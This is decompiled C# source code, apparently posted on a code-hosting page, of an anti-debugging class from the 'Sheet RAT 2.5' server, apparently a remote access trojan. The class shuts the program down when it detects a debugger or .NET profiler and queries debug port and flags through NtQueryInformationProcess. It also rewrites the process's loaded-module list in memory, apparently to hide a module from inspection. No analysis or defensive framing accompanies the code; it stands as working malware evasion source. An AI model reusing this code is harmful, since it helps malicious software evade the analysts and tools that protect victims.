65 lines
2.3 KiB
C#
65 lines
2.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: MindLated.Protection.Anti.Runtime.AntiDebugSafe
|
|
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
|
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
|
|
|
using System;
|
|
using System.Windows.Forms;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
|
|
//#nullable disable
|
|
namespace MindLated.Protection.Anti.Runtime {
|
|
|
|
internal static class AntiDebugSafe
|
|
{
|
|
[DllImport("ntdll.dll", CharSet = CharSet.Auto)]
|
|
private static extern int NtQueryInformationProcess(
|
|
IntPtr test,
|
|
int test2,
|
|
int[] test3,
|
|
int test4,
|
|
ref int test5);
|
|
|
|
private static void Initialize()
|
|
{
|
|
if (Debugger.IsLogging())
|
|
Environment.Exit(0);
|
|
if (Debugger.IsAttached)
|
|
Environment.Exit(0);
|
|
if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null)
|
|
Environment.Exit(0);
|
|
if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0)
|
|
Environment.Exit(0);
|
|
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
|
|
return;
|
|
int[] test3 = new int[6];
|
|
int test5 = 0;
|
|
IntPtr handle = Process.GetCurrentProcess().Handle;
|
|
if (AntiDebugSafe.NtQueryInformationProcess(handle, 31 /*0x1F*/, test3, 4, ref test5) == 0 && test3[0] != 1)
|
|
Environment.Exit(0);
|
|
if (AntiDebugSafe.NtQueryInformationProcess(handle, 30, test3, 4, ref test5) == 0 && test3[0] != 0)
|
|
Environment.Exit(0);
|
|
if (AntiDebugSafe.NtQueryInformationProcess(handle, 0, test3, 24, ref test5) != 0)
|
|
return;
|
|
IntPtr ptr1 = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr) test3[1], 12), 12);
|
|
Marshal.WriteInt32(ptr1, 32 /*0x20*/, 0);
|
|
IntPtr num1 = Marshal.ReadIntPtr(ptr1, 0);
|
|
IntPtr ptr2 = num1;
|
|
do
|
|
{
|
|
ptr2 = Marshal.ReadIntPtr(ptr2, 0);
|
|
if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48 /*0x30*/), 0) == 7536749)
|
|
{
|
|
IntPtr num2 = Marshal.ReadIntPtr(ptr2, 8);
|
|
IntPtr num3 = Marshal.ReadIntPtr(ptr2, 12);
|
|
Marshal.WriteInt32(num3, 0, (int) num2);
|
|
Marshal.WriteInt32(num2, 4, (int) num3);
|
|
}
|
|
}
|
|
while (!ptr2.Equals((object) num1));
|
|
}
|
|
}
|
|
}
|